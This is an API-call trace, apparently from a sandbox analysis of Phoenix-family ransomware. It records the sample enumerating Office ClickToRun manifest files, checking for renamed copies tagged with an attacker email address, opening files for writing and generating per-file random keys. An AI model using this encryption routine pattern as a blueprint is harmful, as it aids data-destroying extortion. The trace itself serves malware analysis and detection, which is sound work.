	[0213.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml")) returned 0x20
	[0213.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.763] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.763] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.763] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0213.766] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=2042) returned 1
	[0213.766] CloseHandle (hObject=0x528) returned 1
	[0213.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml")) returned 0x20
	[0213.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.766] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.766] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.766] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.767] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=97084) returned 1
	[0213.767] CloseHandle (hObject=0x534) returned 1
	[0213.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.767] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.767] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.768] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0213.769] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=1526) returned 1
	[0213.769] CloseHandle (hObject=0x528) returned 1
	[0213.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.769] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.769] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.769] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.773] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=11048) returned 1
	[0213.773] CloseHandle (hObject=0x534) returned 1
	[0213.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml")) returned 0x20
	[0213.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.773] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.773] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.773] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.774] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=2310) returned 1
	[0213.774] CloseHandle (hObject=0x534) returned 1
	[0213.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.774] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.775] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.775] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0213.785] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=94612) returned 1
	[0213.786] CloseHandle (hObject=0x524) returned 1
	[0213.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.786] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.786] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.786] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0213.789] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=720348) returned 1
	[0213.790] CloseHandle (hObject=0x524) returned 1
	[0213.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.790] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0213.802] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=103844) returned 1
	[0213.802] CloseHandle (hObject=0x530) returned 1
	[0213.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.806] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.806] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.806] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.807] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=32926) returned 1
	[0213.807] CloseHandle (hObject=0x548) returned 1
	[0213.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml")) returned 0x20
	[0213.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.810] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.810] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.812] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=24558) returned 1
	[0213.812] CloseHandle (hObject=0x548) returned 1
	[0213.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml")) returned 0x20
	[0213.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.812] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.812] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.812] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.813] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=2042) returned 1
	[0213.813] CloseHandle (hObject=0x548) returned 1
	[0213.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml")) returned 0x20
	[0213.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.813] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.813] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.813] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.816] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=77386) returned 1
	[0213.816] CloseHandle (hObject=0x548) returned 1
	[0213.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml")) returned 0x20
